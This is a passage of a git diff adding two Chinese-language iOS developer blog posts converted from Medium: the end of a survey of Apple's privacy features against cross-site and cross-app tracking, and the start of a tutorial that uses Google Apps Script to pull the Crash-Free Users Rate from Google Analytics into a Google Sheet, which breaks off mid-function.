[WebKit](https://webkit.org/blog/7675/intelligent-tracking-prevention/){:target="_blank"} \)_** + + + + + +預設啟用,瀏覽器會主動辨識用於追蹤、廣告的第三方 Cookie 加以阻擋;並且在每年的 iOS 版本不斷地加強辨識程式防止遺漏。 + + +![](/assets/9a05f632eba0/1*qlan3n0rzMDRpKsCBXnfSQ.png) + + +透過 Third\-Party Cookie 跨網站追蹤使用者這條路,在 Safari 上基本上已經行不通了。 +#### **第二種方法是用 IP Address \+ 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者:** + + +> **_🈲,iOS >= 15 Private Relay_** + + + + + +尤其在 Third\-Party Cookie 被禁之後,有越來越多服務採用這個方法,蘋果也知道…所幸在 iOS 15 連 IP 資訊都給你混淆了! + + +![](/assets/9a05f632eba0/1*4xwPyZo24dZL_B6vuGwbMw.png) + + +Private Relay 服務會將使用者的原始請求先隨機送到蘋果的 Ingress Proxy,再由蘋果隨機分派到合作 CDN 的 Egress Proxy,再由 Egress Proxy 去請求目標網站。 + +整個流程都經過加密只有自己 iPhone 的晶片解的開,也只有自己同時知道 IP 與請求的目標網站;蘋果的 Ingress Proxy 只知道你的 IP、CDN 的 Egress Proxy 只知道蘋果的 Ingress Proxy IP 跟請求的目標網站、網站只知道 CDN 的 Egress Proxy IP。 + +從應用角度來看,同一個地區的所有裝置都會使用同個共享的 CDN 的 Egress Proxy IP 來請求目標網站;也因此網站端無法再用 IP 當成 Fingerprint 資訊。 + +技術細節可參考「 [WWDC 2021 — Get ready for iCloud Private Relay](https://developer.apple.com/videos/play/wwdc2021/10096/){:target="_blank"} 」。 +#### **補充 Private Relay:** +- Apple/CDN Provider 都沒有完整 Log 可追朔: +查了下這樣蘋果怎麼防止被用在惡意的地方,沒找到答案;可能就跟蘋果也不會幫 FBI 解鎖罪犯 iPhone 一樣意思吧;隱私是所有人的基本人權。 +- 預設開啟,不需特別連接 +- 不影響速度、效能 +- **IP 會保證在同個國家和時區** (使用者可選模糊城市)、無法指定 IP +- **只對部分流量有效** +iCloud\+ 用戶:所有 Safari 上的流量 \+ App 中的 Insecure HTTP Request +一般用戶:僅對 Safari 上網站安裝的第三方追蹤工具有效 +- **官方有提供 [CDN Egress IP List](https://mask-api.icloud.com/egress-ip-ranges.csv){:target="_blank"} 供網站開發者辨認 \(不要誤 Blocking Egress IP,會造成群體傷害\)** +- [網路管理者可 Ban 掉 DNS 對所有連接者停用 Private Relay](https://developer.apple.com/support/prepare-your-network-for-icloud-private-relay/){:target="_blank"} +- iPhone 可針對特定網路連線停用 Private Relay +- 連接 VPN/ 掛 Proxy 時會停用 Private Relay +- 目前還在 Beta 版 \(2021/10/24\),啟用後部分服務可能會連不上 \(中國地區、中國版抖音\)或是服務會頻繁被登出 + + + +![Private Relay 實測圖](/assets/9a05f632eba0/1*Abc_bFGsL-dUeUSVeAVBxg.jpeg) + +Private Relay 實測圖 +- 圖一 未啟用:原始 IP 位址 +- 圖二 啟用 Private Relay — 保持一般位置:IP變成 CDN IP 但依然在 Taipei +- 圖三 啟用 Private Relay — 使用國家和時區(擴大模糊):IP變成 CDN IP & 變在 Taichung,但依然還是同個時區和國家 + + + +![[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}](/assets/9a05f632eba0/1*ZDX3oYcoHwSh0Lkb1g1X_g.png) + +[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"} + +App 可以用 `URLSessionTaskMetrics` 分析 Private Relay 的連接紀錄。 + + +![](/assets/9a05f632eba0/1*aMr5w1sZN-ewFEtcNxLcPA.png) + + +扯遠了,因此用 IP 位址得到 Fingerprint 去辨識使用者的方法,也無法再使用了。 +### App 與 App 之間 +#### **第一種方式是早期可以直接存取 Device UUID:** + + +> **_🈲,iOS >= 7 禁止存取 Device UUID,_** + + +> **_使用 IDentifierForAdvertisers/IDentifierForVendor 取代_** + + + + + + +![](/assets/9a05f632eba0/1*XYD2LWx6gZ5c-iEmm_G2pQ.png) + +- **IDFV:** 同個開發者帳號下的所有 App 能拿到同一個 UUID; [搭配 KeyChain 也是目前使用者 UUID 的辨識方法](../a4bc3bce7513/) 。 +- **IDFA:** 不同開發者、不同 App 之間能拿到相同的 UUID,但是 IDFA 使用者可以重設或禁用。 + + + +> **_🈲,iOS >= 14\.5 IDentifierForAdvertisers 需詢問後才能使用_** + + + + + + +![](/assets/9a05f632eba0/1*KCdE18ucjjUnwPzb7gpa5A.png) + + +iOS 14\.5 後蘋果加強對 IDFA 的取用限制,App 需要先詢問使用者允不允許追蹤後才能取得 IDFA UUID;未詢問、未允許的情況下都拿不到值。 + +市調公司初步調查數據大約有 7成的使用者\(最新數據有人說 9 成\)都不允許追蹤取用 IDFA,所以大家才會說 IDFA 已死! + + +![[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}](/assets/9a05f632eba0/1*Dz-GYDKsdXQal_PausrHMA.png) + +[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"} +#### **App 與 App 之間互通有無的第二種方法是 URL Scheme:** + +iOS App 可以使用 `canOpenURL` 去探測使用者手機上有沒有裝某個 App。 + + +> **_🈲,iOS >= 9 需先在 App 內設定才能使用;不能任意探測。_** + + + + + + +![](/assets/9a05f632eba0/1*eapZObP6QN6-g_Z1Nd7hZA.png) + + + +> **_iOS ≥ 15 新增限制,最多只能設定 50 組其他 App 的 Scheme。_** + + +> _`Apps linked on or after iOS 15 are limited to a maximum of 50 entries in the LSApplicationQueriesSchemes key.`_ + + + + +### 網站 與 App 之間 + +**同前文所述** +#### **第一種方法也是透過 Cookie 來串接:** + +早期 iOS Safari 的 Cookie 跟 App WebView 的 Cookie 是可以互通的,可以藉此串起 網站與 App 之間的資料。 + +做法可以在 App 畫面上偷塞一個 1 pixel 的 WebView 元件在背景偷偷讀取 Safari Cookie 回來用。 + + +> **_🈲,iOS >= 11 禁止 Safari 和 App WebView 間共用 Cookie_** + + + + + + +![](/assets/9a05f632eba0/1*sCY5ejSzJjNLDZucbsWV8w.png) + + +如果有需要取得 Safari 的 Cookie \(EX: 直接使用網站 Cookie 登入\),可以使用 `SFSafariViewController` 元件取得;但此元件強迫跳提示視窗且無法客製化,確保使用者不會在無意間被偷取 Cookie。 +#### **第二種方法是同網站與網站用IP Address \+ 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者:** + +同前述, iOS ≥ 15 已被 Private Relay 混淆。 +#### **最後一種也是唯一還能的方法 — Pasteboard** : + +使用剪貼簿串接跨平台的資訊,因為蘋果不可能禁用剪貼簿跨 App 使用,但是它可以提示使用者。 + + +> **_⚠️ iOS >= 14 新增剪貼簿存取警告_** + + + + + + +![](/assets/9a05f632eba0/1*TdsFfW6axWx3nbB1Thaucw.png) + +#### ⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes + +iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。 + + +![[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}](/assets/9a05f632eba0/1*2LpAXuZduLStmS2tRVdcXQ.png) + +[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"} +#### **使用 Pasteboard 實現** Deferred Deep Link 延遲深度連結實作 + + +> **_這邊要多提一下關於 iOS 14 剪貼簿的隱私恐慌,詳細可參考我之前的文章「 [iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難](../8a04443024e2/) 」_** + + + + + +**雖然不能排除讀取剪貼簿是想竊資,但更多時候是我們 App 需要提供更好的使用體驗:** + + +![](/assets/9a05f632eba0/1*lZMyzL6Pmy06lng8PWMk0w.png) + + +在沒有實現 Deferred Deep Link 延遲深度連結之前,當我們引導使用者從網站上去安裝 App,安裝完成後打開 App 默認只會打開首頁;更好的使用體驗應該是打開 App 回復到網頁上停留的頁面的 App 對應頁。 + +要實現這個功能就需要 網站與 App 之間有機會串起資料,如文章前述的其他方法都已被封禁,目前僅能透過剪貼簿做為資訊儲存媒介(如上圖)。 + + +![](/assets/9a05f632eba0/1*jVytiPiHhaubihaHSDYBNA.png) + + +包含 Firebase Dynamic Links、Branch\.io 最新版\(之前 Branch\.io 用 IP Adrees Fingerprint 來實現\)也都使用剪貼簿做 Deferred Deep Link。 + +實作可參考我之前的文章: [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) + + +> _一般情況下如果是為了要做到 Deferred Deep Link 僅會在第一次打開 App、重新返回 App 那一刻去讀取剪貼簿資訊;不會在使用中或奇怪的時間點讀取,這一點值得注意。_ + + + + + +更好的做法是先用 `UIPasteboard.general.detectPatterns` 探測剪貼簿的資料是不是我們需要的,是在讀取。 + + +![[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}](/assets/9a05f632eba0/1*7Kyfq0LT1mkPAFxwkmpMRQ.png) + +[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"} + +iOS ≥ 15 之後優化了剪貼簿提示,如果是使用者自己的貼上動作,就不會再跳提示了! +### 廣告成效解決方案 + +同前文所說的蘋果隱私原則,希望的是平衡而不是完全阻斷使用者與服務。 +#### **網站與網站的廣告成效統計:** + +Safari 上相對於阻擋 Intelligent Tracking Prevention 的功能就是 Private Click Measurement \( [WebKit](https://webkit.org/blog/11529/introducing-private-click-measurement-pcm/){:target="_blank"} \) 用於在去除個人隱私的情況下統計廣告成效。 + + +![](/assets/9a05f632eba0/1*a9DibQQDW9QgiPxt3Y--SQ.png) + + +具體流程如上圖,使用者在 A 網站點擊廣告前往 B 網站時,會在瀏覽器上紀錄一個 Source ID \(識別同個使用者用\) 與 Destination 資訊 \(目標網站\);當使用者在 B 網站上完成轉換也會紀錄一個 Trigger ID \(代表什麼動作\) 在瀏覽器上。 + + +![](/assets/9a05f632eba0/1*n2PwE4AMOPAqvTI-FcNdRQ.png) + + +這兩個資訊會合併起來在隨機 24 ~ 48 小時後傳送到 A 和 B 網站得到廣告成效。 + +一切都是 on\-device safari 自行處理、防範惡意點擊也是由 Safari 提供保護。 +#### **App 與 網站或 App 之間的廣告成效統計:** + + +![](/assets/9a05f632eba0/1*jUObXccBCf4dB7ZU_yn-EQ.png) + + +可以使用 [SKAdNetwork](https://developer.apple.com/documentation/storekit/skadnetwork){:target="_blank"} \(需向蘋果申請加入\) 類似 Private Click Measurement 方式,不再展開贅述。 + + +> _可以多提一下,蘋果並非閉門造車; [SKAdNetwork](https://developer.apple.com/documentation/storekit/skadnetwork){:target="_blank"} 目前來到 2\.0 版本,蘋果持續收集開發者廣告商的需求綜合個人隱私控管,持續優化 SDK 功能。_ + + + + + +> _這邊真心許願 Deferred Deep Link 能用 SDK 串起,因為我們是為了提升使用者體驗,沒有要侵犯個人隱私的意思。_ + + + + + +技術細節可參考「 [WWDC 2021 — Meet privacy\-preserving ad attribution](https://developer.apple.com/videos/play/wwdc2021/10033/){:target="_blank"} 」。 +### Cross\-Platform + + +![](/assets/9a05f632eba0/1*fWuWfmUzOZ2w2iI1FrzwRA.png) + + + +> **_iOS ≥ 13 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App_** + + + + +- 姓名可自行編輯 +- 可隱藏真實 Email \(使用蘋果產的虛擬 Email 代替\) +- 使用者可要求刪除帳號 [**2022/01/31 前 App 須完成實作**](https://developer.apple.com/news/?id=mdkbobfo){:target="_blank"} 🆕 + + + +![](/assets/9a05f632eba0/1*AzjnZmNm6eqG72bVw8iKag.png) + + + +> **_iOS >= 15 iCloud\+ 用戶支援 Hide My Email_** + + + + +- 支援 Safari、App 所有信箱欄位 +- 使用者可到設定中任意產生虛擬信箱 + + +同 Sign in with Apple 使用蘋果產的虛擬 Email 代替真實信箱,在收到信後蘋果會轉發到你的真實信箱中,藉此保護你的信箱資訊。 + +類似 10 分鐘信箱,但又更強大;只要不停用,那組虛擬信箱地址就是你永久持有;也沒有新增上限,可以無限新增,不確定蘋果如何防止濫用。 + + +![](/assets/9a05f632eba0/1*g9-kZBAG13Hx1bq196j8Qg.jpeg) + + + +![](/assets/9a05f632eba0/1*TD7XRAexz8SOJylrVyQUHw.png) + + + +![設定 \-> Apple ID \-> 隱藏我的電子郵件](/assets/9a05f632eba0/1*U2MC_Qp1ZwvJkVHuZ2zcpA.png) + +設定 \-> Apple ID \-> 隱藏我的電子郵件 +### Others +#### **App privacy details on the App Store:** + + +![](/assets/9a05f632eba0/1*oWsbWGst_MP-J0OMplxskQ.jpeg) + + + +> [_App 必需在 App Store 上說明使用者哪些資料會被追蹤及如何應用_](https://developer.apple.com/app-store/user-privacy-and-data-use/){:target="_blank"} _。_ + + + + + +詳細說明可參考:「 [App privacy details on the App Store](https://developer.apple.com/app-store/app-privacy-details/){:target="_blank"} 」。 +#### **個人隱私資料細微控制:** + + +![](/assets/9a05f632eba0/1*qZF5DvQx6RTIggWS7Be4Bw.png) + + + +> _iOS ≥ 14 開始,位置及相片存取可以更細微的控制,可以只授權取用某幾張相片、只允許 App 使用中存取位置。_ + + + + + + +![[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"}](/assets/9a05f632eba0/1*Y95go0uE0DC5lqAAJ9N96Q.png) + +[測試專案](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"} + + +> _iOS ≥ 15,增加 [CLLocationButton](https://developer.apple.com/documentation/corelocationui/cllocationbutton){:target="_blank"} 按鈕提升使用者體驗,可以在未詢問/未同意情況下透過使用者點擊取得當前位置,此按鈕無法客製化、只能透過使用者操作觸發。_ + + + + +#### **個人隱私取用提示:** + + +![](/assets/9a05f632eba0/1*XP5mELBBaaUMI8IixwUCcg.png) + + + +> _iOS ≥ 15,增加個人隱私功能的取用提示,如:剪貼簿、位置、相機、麥克風_ + + + + +#### **App 隱私取用報告:** + + +> _iOS ≥ 15,可以匯出近 7 天手機所有 App 的隱私相關功能取用、網路活動的紀錄報告。_ + + + + +1. 因紀錄報告檔案是 `.ndjson` 純文字檔,直接查看不易;可以先在 App Store 下載「 [隱私洞見](https://apps.apple.com/tw/app/%E9%9A%B1%E7%A7%81%E6%B4%9E%E8%A6%8B-app-privacy-insights/id1575583991){:target="_blank"} 」App 用來查看報告 +2. 到設定 \-> 隱私權 \-> 最下方「紀錄 App 活動」\-> 啟用紀錄 App 活動 +3. 儲存 App 活動 +4. 選擇「匯入到 [隱私洞見](https://apps.apple.com/tw/app/%E9%9A%B1%E7%A7%81%E6%B4%9E%E8%A6%8B-app-privacy-insights/id1575583991){:target="_blank"} 」 +5. 匯入完成後即可檢視隱私報告 + + + +![](/assets/9a05f632eba0/1*7o4UN1Jv-zKjNRU9TKASiQ.png) + + + +![](/assets/9a05f632eba0/1*rshLnUlppBj1OF5mvTZZHw.png) + + + +![](/assets/9a05f632eba0/1*ZRL7V1Hxu7r__bljiohpEw.png) + + +可以看到同 [新聞](https://technews.tw/2021/10/12/china-app-reads-iphone-user-album-data/){:target="_blank"} 所說,Wechat 的確會再啟動 App 時在背景偷偷讀取相片資訊。 + + +> **_另外我也多抓到幾個中國 App 也會偷做事,直接在設定全部禁用它們的權限了。_** + + +> **_要不是有這個功能讓他們見光死,還不知道我們的資料會被竊取多久!_** + + + + +### Recap +#### Apple’s privacy principles + + +![](/assets/9a05f632eba0/1*YUtG3sEQMvu8433VD5j8WA.png) + + +了解完歷年對於隱私功能的調整後,我們回頭來看蘋果的隱私原則: +- Data Minimization:蘋果用技術手段限制取用需要的資料 +- On\-Device Processing:隱私資料不上傳雲端,一切都在本地處理;如 Safari Private Click Measurement、蘋果的 [機器學習 SDK CoreML](../793bf2cdda0f/) 也都是在本地執行、iOS ≥ 15 的 Siri/相機原況文字功能、Apple Map、News、相片識別功能…等等 +- User Transparency and Control:新增的各種隱私存取提示、紀錄報告及隱私細微控制功能 +- Security:資料儲存傳遞的安全,不濫用 UserDefault、iOS 15 可以直接用 CryptoKit 來做點對點加解密、Private Realy 的傳輸安全 + +#### 破碎資料 + + +![](/assets/9a05f632eba0/1*H0dYwwbNMT08_REzs4SUBg.png) + + +回到最一開始用技術手段拼湊出哈里的關聯圖,網站與網站或 App 之間被堵死,只剩剪貼還能用,但會有提示。 + +服務註冊跟第三方登入的個資,可以改用 Sign in with apple 和 hide my email 功能防堵;或是多使用 iOS 原生 App。 + +線下活動或許可以改 Apple Card 防止隱私外洩? + + +> **_已沒有人有機會拼湊出哈里的活動輪廓。_** + + + + +#### Apple 以人為本 + + +![](/assets/9a05f632eba0/1*5LLnXt2Glp7de_vdouufnQ.png) + + +因此「以人為本」是我會給蘋果的理念的代名詞,要與商業市場唱反調需要很大的信念;與它相關的「以科技為本」是我會給 Google 的代名詞,因為 Google 總能造出很多 Geek 科技項目;最後「以商業為本」是我會給 Facebook 的代名詞,因為 FB 在很多層面上都只追求商業收益。 + + +![](/assets/9a05f632eba0/1*lpYyN-yGAS86YRVYlzh5Ig.png) + + +除了針對隱私功能的調整,這幾年的 iOS 也不斷加強防止手機沈迷的功能,推出了「螢幕使用時間報告」、「App 使用時間限制」、「專注模式」…等等功能;幫助大家解除手機成癮。 +### 最後希望大家都能 +- **重視個人隱私** +- **不被資本控制** +- **減少虛擬成癮** +- **防止社會沈淪** + + + +> **_在現實世界活出精彩人生!_** + + + +#### Private Relay/IDFA/Pasteboard/Location 測試專案: + + +[![](https://opengraph.githubassets.com/eb3ecca5e67740485a43fc93d06fd6551fd620c8418f40dde5b35876a2de63dc/zhgchgli0718/PrivacyTest)](https://github.com/zhgchgli0718/PrivacyTest){:target="_blank"} + +#### 參考資料 +- [WWDC 2021 — Apple’s privacy pillars in focus](https://developer.apple.com/videos/play/wwdc2021/10085/){:target="_blank"} +- [Apple privacy white paper — A Day in the Life of Your Data](https://www.apple.com/privacy/docs/A_Day_in_the_Life_of_Your_Data.pdf){:target="_blank"} +- [WWDC 2021 — Get ready for iCloud Private Relay](https://developer.apple.com/videos/play/wwdc2021/10096/){:target="_blank"} +- [WWDC 2021 — Meet privacy\-preserving ad attribution](https://developer.apple.com/videos/play/wwdc2021/10033/){:target="_blank"} +- [**iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難**](../8a04443024e2/) +- [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) +- [iOS UUID 的那些事 \(Swift/iOS ≥ 6\)](../a4bc3bce7513/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E9%9A%B1%E7%A7%81%E8%88%87%E4%BE%BF%E5%88%A9%E7%9A%84%E5%89%8D%E4%B8%96%E4%BB%8A%E7%94%9F-9a05f632eba0){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-11-21-793cb8f89b72.md b/_posts/zmediumtomarkdown/2021-11-21-793cb8f89b72.md new file mode 100644 index 000000000..200e8d5a0 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-11-21-793cb8f89b72.md @@ -0,0 +1,338 @@ +--- +title: "Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate" +author: "ZhgChgLi" +date: 2021-11-21T14:47:10.076+0000 +last_modified_at: 2024-04-14T02:00:19.362+0000 +categories: "ZRealm Dev." +tags: ["crashlytics","ios-app-development","google-analytics","google-apps-script","google-sheets"] +description: "使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet" +image: + path: /assets/793cb8f89b72/1*yPSS8J7o-jowQ6NRYArzjQ.png +render_with_liquid: false +--- + +### Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate + +使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet + + + +![](/assets/793cb8f89b72/1*yPSS8J7o-jowQ6NRYArzjQ.png) + + + +> _上篇「 [Crashlytics \+ Big Query 打造更即時便利的 Crash 追蹤工具](../e77b80cc6f89/) 」我們將 Crashlytics 閃退紀錄 Export Raw Data 到 Big Query,並使用 Google Apps Script 自動排程查詢 Top 10 Crash & 發布訊息到 Slack Channel。_ + + + + + +本篇接續自動化一個與 App 閃退相關的重要數據 — **Crash\-Free Users Rate 不受影響使用者的百分比** ,想必很多 App Team 都會持續追縱、紀錄此數據,以往都是傳統人工手動查詢,本篇目標是將此重複性工作自動化、也能避免人工查詢時可能貼錯數據的狀況;同之前所述,Firebase Crashlytics 沒有提供任何 API 供使用者查詢,所以我們同樣要借助將 Firebase 數據串接到其他 Google 服務,再透過該服務 API 查詢相關數據。 + + +![](/assets/793cb8f89b72/1*nvZXYgkj_8AdqHdR_yTCWg.png) + + +一開始我以為這個數據同樣能從 Big Query 查詢出來;但其實這方向完全錯誤,因為 Big Query 是 Crash 的 Raw Data,不會有沒有閃退的人的數據,因此也算不出 Crash\-Free Users Rate;關於這個需求在網路上的資料不多,查詢許久才找到有人提到 Google Analytics 這個關鍵字;我知道 Firebase 的 Analytics、Event 都能串到 GA 查詢使用,但沒想到 Crash\-Free Users Rate 這個數據也包含在內,翻閱了 GA 的 API 後,Bingo! + + +![[API Dimensions & Metrics](https://developers.google.com/analytics/devguides/reporting/data/v1/api-schema?hl=en){:target="_blank"}](/assets/793cb8f89b72/1*4BVf-FMVcY1UbVuLwfKOQg.png) + +[API Dimensions & Metrics](https://developers.google.com/analytics/devguides/reporting/data/v1/api-schema?hl=en){:target="_blank"} + +[Google Analytics Data API \(GA4\)](https://developers.google.com/analytics/devguides/reporting/data/v1/api-schema#metrics){:target="_blank"} 提供兩個 Metrics: +- **crashAffectedUsers** :受閃退影響的使用者數量 +- **crashFreeUsersRate** :不受閃退影響的使用者百分比\(小數表示\) + + +知道路通之後,就可以開始動手實作了! +#### 串接 Firebase \-> Google Analytics + +可參考 [官方說明](https://support.google.com/analytics/answer/9289234?hl=zh-Hant){:target="_blank"} 步驟設定,本篇省略。 +#### GA4 Query Explorer Tool + +開始寫 Code 之前,我們可以先用官方提供的 Web GUI Tool 來快速建造查詢條件、取得查詢結果;實驗完結果是我們想要的之後,再開始寫 Code。前 + +[前往 >>> GA4 Query Explorer](https://ga-dev-tools.web.app/ga4/query-explorer/){:target="_blank"} + + +![](/assets/793cb8f89b72/1*qsCMVfWIAzWdZ78LBj8n2A.jpeg) + +- 在左上方記得選到 GA4 +- 右方登入完帳號後,選擇相應的 GA Account & Property + + + +![](/assets/793cb8f89b72/1*hFJ9KYfecVNmdi4VfDAyIw.png) + +- Start Date、EndDate:可直接輸入日期或用特殊變數表示日期 \( `ysterday` , `today` , `30daysAgo` , `7daysAgo` \) + + + +![](/assets/793cb8f89b72/1*GEa3BNpUAqoPD07gE-N21A.png) + +- metrics:增加 `crashFreeUsersRate` + + + +![](/assets/793cb8f89b72/1*WygzFvmOLp2kUQC3H_lh2g.png) + +- dimensions:增加 `platform` \(設備類型 iOS/Android/Desktop\. \. \. \) + + + +![](/assets/793cb8f89b72/1*RE8SIIVx4PUkqnHQVsJcTg.png) + +- dimension filter:增加 `platform` 、 `string` 、 `exact` 、 `iOS` or `Android` + + +針對雙平台的 Crash Free Users Rate 分別查詢。 + + +![](/assets/793cb8f89b72/1*1NJNUZscuU2XIicgRPGFYg.png) + + +拉到最下面點擊「Make Request」查看結果,我們就能得到指定日期範圍內的 Crash\-Free Users Rate。 + + +> _可以回頭打開 Firebase Crashlytics 比對同樣條件數據是否相同。_ + + +> _這邊有發現兩邊數字可能會有微微差距\(我們有一項數字差了 0\.0002\),原因不明,不過在可以接受的誤差範圍內;若統一都使用 GA Crash\-Free Users Rate 那也不能算是誤差了。_ + + + + +#### 使用 Google Apps Script 自動填入數據到 Google Sheet + +再來就是自動化的部分,我們將使用 Google Apps Script 查詢 GA Crash\-Free Users Rate 數據後自動填入到我們的 Google Sheet 表單;已達自動填寫、自動追蹤的目標。 + + +![](/assets/793cb8f89b72/1*kMByIU9_6mxg8-F4BbwLuw.png) + + +假設我們的 Google Sheet 如上圖。 + + +![](/assets/793cb8f89b72/1*pnJ7gmjDefB9OLl0NgceLA.png) + + +可以點擊 Google Sheet 上方的 Extensions \-> Apps Script 建立 Google Apps Script 或是 [點此前網 Google Apps Script](https://script.google.com/home/start){:target="_blank"} \-> 左上方 新增專案即可。 + + +![](/assets/793cb8f89b72/1*81_RPPZgBDvW4XplOHGmVg.png) + + +進來後可以先點上方未命名專案名稱,給個專案名稱。 + + +![](/assets/793cb8f89b72/1*C4qUfJr2UHAzbcksP2zYWA.jpeg) + + +在左方的「Services」點「\+」加上「Google Analytics Data API」。 + + +![](/assets/793cb8f89b72/1*FfWGQiV2IpOAsQB6TN887g.png) + + +回到剛剛的 [GA4 Query Explorer](https://ga-dev-tools.web.app/ga4/query-explorer/){:target="_blank"} 工具,在 Make Request 按鈕旁邊可以勾選「Show Request JSON」取得此條件的 Request JSON。 + +將此 Request JSON 轉換成 Google Apps Script 後如下: +```javascript +// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined +// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id +const propertyId = ""; +// https://docs.google.com/spreadsheets/d/googleSheetID/ +const googleSheetID = ""; +// Google Sheet 名稱 +const googleSheetName = "App Crash-Free Users Rate"; + +function execute() { + Logger.log(fetchCrashFreeUsersRate()) +} + +function fetchCrashFreeUsersRate(platform = "iOS", startDate = "30daysAgo", endDate = "today") { + const dimensionPlatform = AnalyticsData.newDimension(); + dimensionPlatform.name = "platform"; + + const metric = AnalyticsData.newMetric(); + metric.name = "crashFreeUsersRate"; + + const dateRange = AnalyticsData.newDateRange(); + dateRange.startDate = startDate; + dateRange.endDate = endDate; + + const filterExpression = AnalyticsData.newFilterExpression(); + const filter = AnalyticsData.newFilter(); + filter.fieldName = "platform"; + const stringFilter = AnalyticsData.newStringFilter() + stringFilter.value = platform; + stringFilter.matchType = "EXACT"; + filter.stringFilter = stringFilter; + filterExpression.filter = filter; + + const request = AnalyticsData.newRunReportRequest(); + request.dimensions = [dimensionPlatform]; + request.metrics = [metric]; + request.dateRanges = dateRange; + request.dimensionFilter = filterExpression; + + const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId); + + return parseFloat(report.rows[0].metricValues[0].value) * 100; +} +``` +- GA Property ID:一樣也可以由剛剛的 [GA4 Query Explorer](https://ga-dev-tools.web.app/ga4/query-explorer/){:target="_blank"} 工具取得: + + + +![](/assets/793cb8f89b72/1*_ypOYamULlL_dcDsph4KiQ.jpeg) + + +在一開始的選擇 Property 選單中,選擇的 Property 下方的數字就是 `propertyId` 。 +- googleSheetID:可以由 Google Sheet 網址中取得 [https://docs\.google\.com/spreadsheets/d/ `googleSheetID` /edit](https://docs.google.com/spreadsheets/d/googleSheetID/edit){:target="_blank"} +- googleSheetName:Google Sheet 中閃退紀錄的 Sheet 名稱 + + + +![](/assets/793cb8f89b72/1*5lCtwwr3kZlBEEoW_D33gw.jpeg) + + +將以上程式碼貼到 Google Apps Script 右方程式碼區塊&上方執行方法選擇「execute」function 後可以點擊 Debug 測試看看是否能正常取得資料: + + +![](/assets/793cb8f89b72/1*patatPx4XveqzXfkmetZyA.jpeg) + + +第一次執行會出現要求授權視窗: + + +![](/assets/793cb8f89b72/1*6997jA1kINxLfhcxx2NcDQ.png) + + +按照步驟完成帳號授權即可。 + + +![](/assets/793cb8f89b72/1*_UjZ9Gx3TEvuxZd4ypaYsw.png) + + +執行成功會在下方 Log Print 出 Crash\-Free Users Rate,代表查詢成功。 + +再來我們只要再加上自動填入 Google Sheet 就大功告成了! + +**完整 Code:** +```javascript +// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined + +// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id +const propertyId = ""; +// https://docs.google.com/spreadsheets/d/googleSheetID/ +const googleSheetID = ""; +// Google Sheet 名稱 +const googleSheetName = ""; + +function execute() { + const today = new Date(); + const daysAgo7 = new Date(new Date().setDate(today.getDate() - 6)); // 今天不算,所以是 -6 + + const spreadsheet = SpreadsheetApp.openById(googleSheetID); + const sheet = spreadsheet.getSheetByName(googleSheetName); + + var rows = []; + rows[0] = Utilities.formatDate(daysAgo7, "GMT+8", "MM/dd")+"~"+Utilities.formatDate(today, "GMT+8", "MM/dd"); + rows[1] = fetchCrashFreeUsersRate("iOS", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd")); + rows[2] = fetchCrashFreeUsersRate("android", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd")); + sheet.appendRow(rows); +} + +function fetchCrashFreeUsersRate(platform = "iOS", startDate = "30daysAgo", endDate = "today") { + const dimensionPlatform = AnalyticsData.newDimension(); + dimensionPlatform.name = "platform"; + + const metric = AnalyticsData.newMetric(); + metric.name = "crashFreeUsersRate"; + + const dateRange = AnalyticsData.newDateRange(); + dateRange.startDate = startDate; + dateRange.endDate = endDate; + + const filterExpression = AnalyticsData.newFilterExpression(); + const filter = AnalyticsData.newFilter(); + filter.fieldName = "platform"; + const stringFilter = AnalyticsData.newStringFilter() + stringFilter.value = platform; + stringFilter.matchType = "EXACT"; + filter.stringFilter = stringFilter; + filterExpression.filter = filter; + + const request = AnalyticsData.newRunReportRequest(); + request.dimensions = [dimensionPlatform]; + request.metrics = [metric]; + request.dateRanges = dateRange; + request.dimensionFilter = filterExpression; + + const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId); + + return 